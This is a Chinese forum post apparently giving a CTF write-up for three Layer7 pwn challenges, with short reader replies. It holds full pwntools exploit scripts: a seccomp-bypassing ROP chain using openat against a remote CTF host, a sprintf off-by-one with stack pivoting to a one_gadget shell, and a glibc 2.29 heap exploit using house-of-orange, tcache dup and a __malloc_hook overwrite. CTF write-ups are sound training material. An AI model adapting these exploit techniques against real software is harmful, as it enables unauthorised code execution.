首页
社区
课程
招聘
[原创] Layer7 CTF Pwn题部分Writeup
2019-10-8 11:25 13961

[原创] Layer7 CTF Pwn题部分Writeup

2019-10-8 11:25
13961

前言

此比赛是韩国的一个CTF比赛,题目质量还可以。题目构思精细,比较有意思。

题解部分

0x01 How old are you?

此题是此次Pwn中较为简单的一道题目,主要是一道考察栈溢出和secomp的题目。 图片描述有栈溢出漏洞但是限制了部分syscall。 图片描述不能调用system("/bin/sh"),open被限制了但是没有限制openat , 那么这里可以使用openat syscall来打开flag文件,然后读取并write。exp如下:

#coding:utf-8

from pwn import *

# context.terminal = ['tmux','split','-h']

# io = process('./seccomp')
io = remote('211.239.124.246',12403)
# io = process(["/root/glibc_env/glibc-2.23-binary/ld.so", './seccomp' ], env={"LD_PRELOAD":"/root/glibc_env/glibc-2.23-binary/libc.so"})
elf = ELF('./seccomp')
libc = ELF('./libc.so.6')
context.binary = './seccomp'


pop_rdi = 0x0000000000400eb3
pop_rsi_r15 = 0x0000000000400eb1#: pop rsi; pop r15; ret; 
main = 0x400A96

io.sendlineafter("Input your age","1")

payload1 = 'a' * 280 + flat(0x0000000000400eb3,elf.got['__libc_start_main'],elf.plt['puts'],0x400A96)
io.sendlineafter("name",payload1)

start_main_got = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
success("start_main_got == > " + hex(start_main_got))
libc_base = start_main_got - libc.symbols['__libc_start_main']
success("libc_base == > " + hex(libc_base))

io.sendlineafter("Input your age","1")
"""
    read(0,0x602070,0x10) # bss
"""

payload1 = 'a' * 280 + flat(
    pop_rdi,
    0x0,
    pop_rsi_r15,
    0x602070,
    0x0,
    libc.symbols['read'] + libc_base,
    main
)
"""
    Gadget Here
        0x0000000000033544: pop rax; ret;     shared library
        0x0000000000021102: pop rdi; ret;
        0x00000000000202e8: pop rsi; ret;
        0x00000000001150c9: pop rdx; pop rsi; ret; 
        0x00000000000ea69a: pop rcx; pop rbx; ret;
"""
# gdb.attach(io,'')
# raw_input()

io.sendlineafter("name",payload1)

pause()
io.send("/home/seccomp/flag\x00")
# io.send("./flag.txt\x00")

io.sendlineafter("age","1") # junk
payload1 = 'a' * 280 + flat(
    0x0000000000033544 + libc_base,
    0x101,
    0x0000000000021102 + libc_base,
    0xffffff9c,
    0x00000000001150c9 + libc_base,
    0x0,
    0x602070,
    0x00000000000bc375 + libc_base,
    0x0000000000021102 + libc_base,
    0x3,
    0x00000000001150c9 + libc_base,
    0x100,
    0x602070,
    libc.symbols['read'] + libc_base,
    0x0000000000021102 + libc_base,
    0x1,
    0x00000000001150c9 + libc_base,
    0x100,
    0x602070,
    libc.symbols['write'] + libc_base,
)
# gdb.attach(io,'')
# raw_input()

io.sendlineafter("name",payload1)

io.interactive()

图片描述

0x02 sha1breaker

这题还是挺有意思的,漏洞点不是那么显而易见。比较有隐藏性。
程序的主要逻辑:
1.打开/dev/urandom并生成随机数种子
2.两个功能,第一个生成随机sha1,第二个是和特定hex对比。
3.整个程序我们可控制的范围很小。没有明显的栈溢出漏洞。
刚开始没啥思路,就checksec了一下 图片描述发现没有开启栈保护,于是乎猜测和栈溢出有关?
写上脚本盲跑一番,果然程序崩溃了。我们读取index选择功能的时候,输入一串'a'居然覆盖了eip。当时就比较懵。没有分析其具体原因,找了一下偏移,偏移是8,总共能输入32个字节,
图片描述构造ROP链只有24个字节,也就是只能执行一个函数的函数,然后执行完了连ret的地址也控制不了,当时就陷入了僵局。翻了翻函数表,发现一个函数没有被程序用到,可能是作者留下的暗门函数。 图片描述这个可以控制读取的地方,你通过多次输入发现size其实是和我们输入的eip的前8个字节的最后一个字节有关。后面的技术是栈迁移技术。
我们这里谈一下,如何造成了(栈溢出漏洞):
看此图
图片描述
图片描述
这里函数传入一个buf变量给gensha1。此变量的大小是24。sprintf函数用于拼接index和sha1。当index大于100就会导致破坏ebp,最后一个字节被覆盖为0x00。 图片描述这样直接我们返会到main再返回到__libc_start_main,两个leave会导致esp发生变化。通过不断调试,可以使esp的位置指向我们输入chooice的位置。这样我们就可以写eip了。这里是本漏洞的成因。下面是利用exp:

#coding:utf-8


from pwn import *

context.terminal = ['tmux','split','-h']
io = process('./sha1breaker')
elf = ELF('./sha1breaker')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './sha1breaker'
# io = remote('bincat.kr',30420)

pop_rsi_r15 = 0x0000000000400ec1#: pop rsi; pop r15; ret; 
pop_rdi = 0x400ec3

def gensha1():
    io.sendlineafter(">>","1")

def compare():
    io.sendlineafter(">","2")

def exp():
    one = [0x4f2c5,0x4f322,0x10a38c]
    for i in range(99):
        gensha1()
    # gdb.attach(io,'b *0x400CAD\nc')
    # print i
    sleep(0.3)
    # io.sendline('aaaaaaaa12345678bbbbbbbb')
    rop_chain1 = p64(0x6020f0) + p64(0x400ec3) + p64(0x6020f8) + p64(0x400ABD)
    io.send(rop_chain1)
    # pause()
    sleep(0.3)

    rop_chain2 = flat(pop_rdi,elf.got['puts'],elf.plt['puts'],pop_rdi,0x0,pop_rsi_r15,0x602140,0x0,elf.plt['read'])
    io.send(rop_chain2)

    leak = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
    base = leak - libc.symbols['puts']
    system = base + libc.symbols['system']

    rop_chain3 = flat(base + one[1])
    # rop_chain3 = flat(pop_rdi + 1,pop_rdi,0x602160,system) + "/bin/sh\x00" 
    io.send(rop_chain3)


    io.interactive()

if __name__ == "__main__":
    try:
        exp()
    except EOFError as e:
        exit(0)

图片描述

0x03 problem

这是一个libc2.29版本的程序,程序只有两个功能,一个malloc,一个edit。edit函数可以导致堆溢出。那么这里猜测可能要通过一些技巧制造出free的chunk。这里用的最多的就是攻击top_chunk。具体技巧可以参考house-of-orange。制造出free chunk之后使用tcache dup,利用_IO_stdout泄露。然后继续使用该技巧去修改__malloc_hook。具体exp如下:

#coding:utf-8

from pwn import *

context.terminal = ['tmux','split','-h']
context.binary = './problem'
io = process('./problem')
libc = ELF('./libc.so.6')

"""
[M]alloc
[E]dit
[B]ye
> M
size > 123
content > 123
========
[M]alloc
[E]dit
[B]ye
> E
size > 123
content > 123Alarm c
"""

def malloc(sz,con):
    io.sendlineafter(">","M")
    io.sendlineafter(">",str(sz))
    io.sendafter(">",con)

def edit(sz,con):
    io.sendlineafter(">","E")
    io.sendlineafter(">",str(sz))
    io.sendafter(">",con)

def debug():
    gdb.attach(io,'')

def exp():
    addr_stdout = 0x404020
    for i in range(10):
        malloc(0x128, "junk")
    malloc(0x78, "junk")

    # house of orange
    malloc(0x10, "A" * 0x10)
    payload = 'A' * 0x10
    payload += flat(0x0,0x131).decode('utf-8')
    edit(0x20, payload)
    io.sendlineafter("> ", "M")
    io.sendlineafter("> ", "1" * 0x400)

    payload  = "A" * 0x10
    payload += (p64(0) + p64(0x111) + p64(addr_stdout)).decode('utf-8')
    edit(0x10 + 0x18, payload)

    malloc(0x108, "dummy")
    malloc(0x108, "\x60") # stdout: don't corrupt this
    malloc(0x108, (p64(0xfbad1800) + p64(0) * 3) + b"\x88")

    libc_base = u64(io.recvuntil("\x7f")[-6:] + b'\x00\x00') - 0x1e57e3
    info("libc base = " + hex(libc_base))

    for i in range(13):
        malloc(0x118,'junk')

    malloc(0x80,'A' * 0x10)
    payload = b'A' * 0x80
    payload += flat(0x0,0xd1)
    edit(0x90,payload)
    io.sendlineafter(">","M")
    io.sendlineafter(">","1" * 0x500)

    payload = b'A' * 0x80
    payload += flat(0x0,0xb1)
    payload += flat(libc_base + libc.symbols['__malloc_hook'])
    edit(0x98,payload)

    malloc(0xa8,'junk')
    malloc(0xa8,p64(libc_base + 0x106ef8))

    io.sendlineafter(">","M")
    io.sendlineafter(">","100")

    # debug()
    io.interactive()


if __name__ == "__main__":
    exp()

图片描述


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-1-31 14:56 被kanxue编辑 ,原因:
上传的附件:
收藏
点赞5
打赏
分享
最新回复 (4)
雪    币: 17772
活跃值: (60023)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2019-10-8 11:37
2
0
感谢分享!
雪    币: 270
活跃值: (1662)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
Vinadiak 1 2019-10-14 20:31
3
0
感谢分享~
最后于 2019-10-14 21:03 被Vinadiak编辑 ,原因:
雪    币: 44
活跃值: (51)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
潇洒蛋 2019-10-24 17:11
4
0
seccomp-tools这个工具dump出来的不是允许执行的调用吗
雪    币: 188
活跃值: (365)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
吴俊 2020-4-23 17:51
5
0
请问,第一题how old are you中,你怎么确定flag的位置是/home/seccomp/flag啊?
如果openat用相对路径的话,第一个参数fd有办法得到嘛?
游客
登录 | 注册 方可回帖
返回